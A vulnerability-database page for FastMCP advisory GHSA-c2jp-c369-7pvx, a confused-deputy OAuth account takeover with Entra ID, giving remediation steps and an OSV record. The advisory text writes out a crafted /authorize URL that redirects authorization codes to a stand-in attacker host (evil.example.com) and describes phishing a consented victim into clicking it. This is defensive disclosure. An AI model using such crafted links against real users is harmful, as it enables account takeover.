GHSA-c2jp-c369-7pvx: Fastmcp FastMCP Auth Integration Allows For Vulnerability

HIGH
CWE-287
Published
Advisory Summary

GHSA-c2jp-c369-7pvx is a HIGH fastmcp auth integration allows for vulnerability (CWE-287: Improper Authentication) affecting Fastmcp libraries in the PyPI ecosystem. The issue involves fastmcp auth integration allows for confused deputy account takeover. Remediation is available by upgrading affected packages to version 2.13.0.

GHSA-c2jp-c369-7pvx at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-c2jp-c369-7pvx
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-287: Improper Authentication
Affected Product Fastmcp
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-c2jp-c369-7pvx

To remediate this vulnerability, upgrade all affected Fastmcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fastmcp fixed: 2.13.0
pip install fastmcp>=2.13.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show fastmcp

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-c2jp-c369-7pvx, inspect your installed packages using pip:

pip show fastmcp

Analyze the terminal output to locate any version of Fastmcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.13.0), your application is affected.

Note: The pip show fastmcp command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Fastmcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary FastMCP documentation [covers the scenario](https://gofastmcp.com/integrations/azure) where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server. For example, on a local MCP server, it may be hosted here: ```http http://localhost:8000/.well-known/oauth-protected-resource ``` And the JSON representation of the PRM document: ```json { "resource": "http://localhost:8000/mcp", "authorization_servers": [ "http://localhost:8000/" ], "scopes_supported": [ "User.Read", "email", "openid", "profile" ], "bearer_methods_supported": [ "header" ] } ``` Notice that the `authorization_servers` field contains the MCP server itself - it acts as an **OAuth Client** to the downstream authorization server (e.g., Entra ID) and as a **Authorization Server** (AS) to the MCP client. The FastMCP server also hosts the AS metadata: ```bash http://localhost:8000/.well-known/oauth-authorization-server ``` With the following content: ```json { "issuer": "http://localhost:8000/", "authorization_endpoint": "http://localhost:8000/authorize", "token_endpoint": "http://localhost:8000/token", "registration_endpoint": "http://localhost:8000/register", "scopes_supported": [ "User.Read", "email", "openid", "profile" ], "response_types_supported": [ "code" ], "grant_types_supported": [ "authorization_code", "refresh_token" ], "token_endpoint_auth_methods_supported": [ "client_secret_post" ], "code_challenge_methods_supported": [ "S256" ] } ``` All of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector): ```http http://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp ``` When using the built-in FastMCP `/authorize` endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here: ```http https://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp ``` >[!NOTE] >In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below. <img width="2725" height="630" alt="image" src="https://github.com/user-attachments/assets/7ea612bf-a49e-44da-bd79-236c26bb42f3" /> Notice that the client ID and redirect URIs in the `login.microsoftonline.com` call are different than the initial `/authorize` call - that's because we're now switching to using the MCP server's **static app registration** instead of the DCR client details. Completing the authorization flow here for the first time for a user would trigger the Entra ID consent flow: <img width="751" height="952" alt="image" src="https://github.com/user-attachments/assets/2cc4b7ee-c110-4623-8f86-438821f4addf" /> This consent flow is **only showed the first time the user needs to use this application**. Once the consent is set, they will never be prompted for this unless revoked. This is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts. With the user consented to the **static client for Entra ID** that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID. Now, an attacker comes in - in **their own MCP client** (i.e., they maintain one at `https://evil.example.com`) they start the authorization with the same remote MCP server and get to the point where the server produces **their own** authorization URI for this client ID: ```http http://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp ``` >[!IMPORTANT] >Note that the redirect URI above points to the `https://evil.example.com` client. At this point - they grab the URL and **coerce the victim** (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the **static Entra ID client that the MCP server is using**. The DCR-d **registered client ID** that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to `https://evil.example.com`. The user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim. ### Details See above - the outline covers the attack vector. ### PoC Standard documented sample that uses Entra ID: ```python from fastmcp import FastMCP from fastmcp.server.auth.providers.azure import AzureProvider # The AzureProvider handles Azure's token format and validation auth_provider = AzureProvider( client_id="f527ed01-9725-45bd-8173-8d3a017ba02f", # Your Azure App Client ID client_secret="#####~######_#######", # Your Azure App Client Secret tenant_id="412e93fe-74e5-4ee6-9b67-1eeb1c79550e", # Your Azure Tenant ID (REQUIRED) base_url="http://localhost:8000", # Must match your App registration required_scopes=["User.Read", "email", "openid", "profile"], # Microsoft Graph permissions # redirect_path="/auth/callback" # Default value, customize if needed ) mcp = FastMCP(name="Azure Secured App", auth=auth_provider) # Add a protected tool to test authentication @mcp.tool async def get_user_info() -> dict: """Returns information about the authenticated Azure user.""" from fastmcp.server.dependencies import get_access_token token = get_access_token() # The AzureProvider stores user data in token claims return { "azure_id": token.claims.get("sub"), "email": token.claims.get("email"), "name": token.claims.get("name"), "job_title": token.claims.get("job_title"), "office_location": token.claims.get("office_location") } ``` ### Impact Potential for server account compromise.

GHSA-c2jp-c369-7pvx Affected Fastmcp Versions

1 component(s)
Fixed Versions:
2.13.0
Product / Package Ecosystem Affected Versions Fixed Version
fastmcp
PyPI
< 2.13.0
2.13.0

References

Frequently Asked Questions

What is GHSA-c2jp-c369-7pvx?
GHSA-c2jp-c369-7pvx is a security vulnerability in Fastmcp involving FastMCP Auth Integration Allows for Confused Deputy Account Takeover under CWE-287: Improper Authentication.
Which Fastmcp versions are affected?
Affected versions include releases prior to 2.13.0 across affected packages: fastmcp.
What version fixes GHSA-c2jp-c369-7pvx?
Upgrading to 2.13.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fastmcp affected?
Yes, fastmcp is affected in releases prior to 2.13.0. Upgrade your dependency to 2.13.0 or later.
What CWE is associated with GHSA-c2jp-c369-7pvx?
GHSA-c2jp-c369-7pvx is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check PyPI dependencies for GHSA-c2jp-c369-7pvx?
Run the dependency tree command: 'pip show fastmcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c2jp-c369-7pvx",
  "modified" : "2026-01-21T21:56:44Z",
  "published" : "2025-10-29T15:38:07Z",
  "aliases" : [ ],
  "summary" : "FastMCP Auth Integration Allows for Confused Deputy Account Takeover",
  "details" : "### Summary\n\nFastMCP documentation [covers the scenario](https://gofastmcp.com/integrations/azure) where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server.\n\nFor example, on a local MCP server, it may be hosted here:\n\n```http\nhttp://localhost:8000/.well-known/oauth-protected-resource\n```\n\nAnd the JSON representation of the PRM document:\n\n```json\n{\n  \"resource\": \"http://localhost:8000/mcp\",\n  \"authorization_servers\": [\n    \"http://localhost:8000/\"\n  ],\n  \"scopes_supported\": [\n    \"User.Read\",\n    \"email\",\n    \"openid\",\n    \"profile\"\n  ],\n  \"bearer_methods_supported\": [\n    \"header\"\n  ]\n}\n```\n\nNotice that the `authorization_servers` field contains the MCP server itself - it acts as an **OAuth Client** to the downstream authorization server (e.g., Entra ID) and as a **Authorization Server** (AS) to the MCP client.\n\nThe FastMCP server also hosts the AS metadata:\n\n```bash\nhttp://localhost:8000/.well-known/oauth-authorization-server\n```\n\nWith the following content:\n\n```json\n{\n  \"issuer\": \"http://localhost:8000/\",\n  \"authorization_endpoint\": \"http://localhost:8000/authorize\",\n  \"token_endpoint\": \"http://localhost:8000/token\",\n  \"registration_endpoint\": \"http://localhost:8000/register\",\n  \"scopes_supported\": [\n    \"User.Read\",\n    \"email\",\n    \"openid\",\n    \"profile\"\n  ],\n  \"response_types_supported\": [\n    \"code\"\n  ],\n  \"grant_types_supported\": [\n    \"authorization_code\",\n    \"refresh_token\"\n  ],\n  \"token_endpoint_auth_methods_supported\": [\n    \"client_secret_post\"\n  ],\n  \"code_challenge_methods_supported\": [\n    \"S256\"\n  ]\n}\n```\n\nAll of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector):\n\n```http\nhttp://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\nWhen using the built-in FastMCP `/authorize` endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:\n\n```http\nhttps://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n>[!NOTE]\n>In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.\n\n<img width=\"2725\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ea612bf-a49e-44da-bd79-236c26bb42f3\" />\n\nNotice that the client ID and redirect URIs in the `login.microsoftonline.com` call are different than the initial `/authorize` call - that's because we're now switching to using the MCP server's **static app registration** instead of the DCR client details.\n\nCompleting the authorization flow here for the first time for a user would trigger the Entra ID consent flow:\n\n<img width=\"751\" height=\"952\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cc4b7ee-c110-4623-8f86-438821f4addf\" />\n\nThis consent flow is **only showed the first time the user needs to use this application**. Once the consent is set, they will never be prompted for this unless revoked.\n\nThis is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.\n\nWith the user consented to the **static client for Entra ID** that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.\n\nNow, an attacker comes in - in **their own MCP client** (i.e., they maintain one at `https://evil.example.com`) they start the authorization with the same remote MCP server and get to the point where the server produces **their own** authorization URI for this client ID:\n\n```http\nhttp://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n>[!IMPORTANT]\n>Note that the redirect URI above points to the `https://evil.example.com` client.\n\nAt this point - they grab the URL and **coerce the victim** (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the **static Entra ID client that the MCP server is using**. The DCR-d **registered client ID** that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to `https://evil.example.com`.\n\nThe user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.\n\n### Details\n\nSee above - the outline covers the attack vector.\n\n### PoC\n\nStandard documented sample that uses Entra ID:\n\n```python\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth.providers.azure import AzureProvider\n\n# The AzureProvider handles Azure's token format and validation\nauth_provider = AzureProvider(\n    client_id=\"f527ed01-9725-45bd-8173-8d3a017ba02f\",  # Your Azure App Client ID\n    client_secret=\"#####~######_#######\",                 # Your Azure App Client Secret\n    tenant_id=\"412e93fe-74e5-4ee6-9b67-1eeb1c79550e\", # Your Azure Tenant ID (REQUIRED)\n    base_url=\"http://localhost:8000\",                   # Must match your App registration\n    required_scopes=[\"User.Read\", \"email\", \"openid\", \"profile\"],  # Microsoft Graph permissions\n    # redirect_path=\"/auth/callback\"                  # Default value, customize if needed\n)\n\nmcp = FastMCP(name=\"Azure Secured App\", auth=auth_provider)\n\n# Add a protected tool to test authentication\n@mcp.tool\nasync def get_user_info() -> dict:\n    \"\"\"Returns information about the authenticated Azure user.\"\"\"\n    from fastmcp.server.dependencies import get_access_token\n    \n    token = get_access_token()\n    # The AzureProvider stores user data in token claims\n    return {\n        \"azure_id\": token.claims.get(\"sub\"),\n        \"email\": token.claims.get(\"email\"),\n        \"name\": token.claims.get(\"name\"),\n        \"job_title\": token.claims.get(\"job_title\"),\n        \"office_location\": token.claims.get(\"office_location\")\n    }\n```\n\n### Impact\n\nPotential for server account compromise.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "fastmcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.13.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jlowin/fastmcp/security/advisories/GHSA-c2jp-c369-7pvx"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jlowin/fastmcp"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-29T15:38:07Z",
    "nvd_published_at" : null
  }
}